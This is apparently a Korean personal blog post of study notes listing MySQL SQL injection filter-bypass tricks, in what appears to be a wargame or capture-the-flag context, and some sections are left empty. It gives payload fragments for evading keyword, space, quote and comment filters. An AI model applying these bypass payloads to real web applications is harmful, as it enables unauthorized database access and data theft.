hacking/WEB hacking

sql injection 우회

kiwiiiv 2021. 7. 23. 17:35

~~ing

 

1. and, or 

 &&, || 

 

 

2. substr, substring 

 mid 또는 left, right 

 1) mid('string', 2, 1) ='t'

 2) left, right 

  left(right('string',5),1)='t'

 

 

3. ord 우회

 1) ascii, hex 사용 가능

    ord(substr(pwstring,1,1))=ascii(substr(pwstring,1,1))

 2) hex('a')=61

 3) conv(N,from_base,to_base) 사용

 4) bin('admin') = 0b110000101100100011011010110100101101110

 

-> 다 필터링되어 있을 때 : binary 함수 사용하여 대소문자 구분 가능

 

4. = 

 like, between, in, instr

 ex) where id like "admin"

      where id like "%admin%"

 ex) where id in ("admin")

 

5. 공백

 /**/,+,%09,%0a,%0c,%0b,()

 ex) idx=(2)or(path='/flag')

 

6. ' (작은따옴표)

 특수 문자를 일반 문자화 시키는 \문자를 이용하여 우회 가능.

 

 ex) query=select * from table where id='{$id}' and pw='{%pw}' 일 때

  id의 맨 끝 입력값에 \ 문자를 삽입하면

  query=select * from table where id='{$id}' and pw='{%pw}'

  색칠한 부분이 문자열로 인식되고, 이를 이용하여 쿼리를 삽입 가능함.

 

7. information

 방법이 없는 것으로 알고 있음..

 

8. 주석

 #, -- (맨 끝에 공백 삽입 필요), ;%00

 또한 #를 url encoding한 값 %23를 사용할 수도 있으나.. 보통은 #가 막혀있으면 같이 막혀있음

 

9. limit

 1) group by + having

 

 2) group_concat

 

10. 문자열에 대한 우회

 - preg_match 사용하는 경우

  i 옵션이 적용되어 있지 않아 대소문자 구분을 하지 않는다면 fLaG와 같은 식으로 우회가 가능하지만,

 (쿼리문에서는 대소문자에 대한 구분이 없어서 가능한 방식)

 대부분의 경우에는 i 옵션이 적용되어 있음

  데이터베이스 함수인 char, hex 함수를 이용하여 우회 가능

    ex) "flag" 문자열을 우회할 때

        char(102,108,97,103)

        char(0x666c6167)

 

  

 

 

++

time_injection 공격 시

sleep 에 대한 필터링이 걸려 있어도 이 함수를 이용하여 공격이 가능할 수 있음 .

-> 필터링이 어느 시점에 되어 있는지에 따라 다름.

 

 

 

 

 

++

error_based_injection 공격 시

(데이터베이스의 종류에 따라 다름. mysql 기준으로 작성)

 

 

 


Mysql을 기준으로 하여 작성되었음.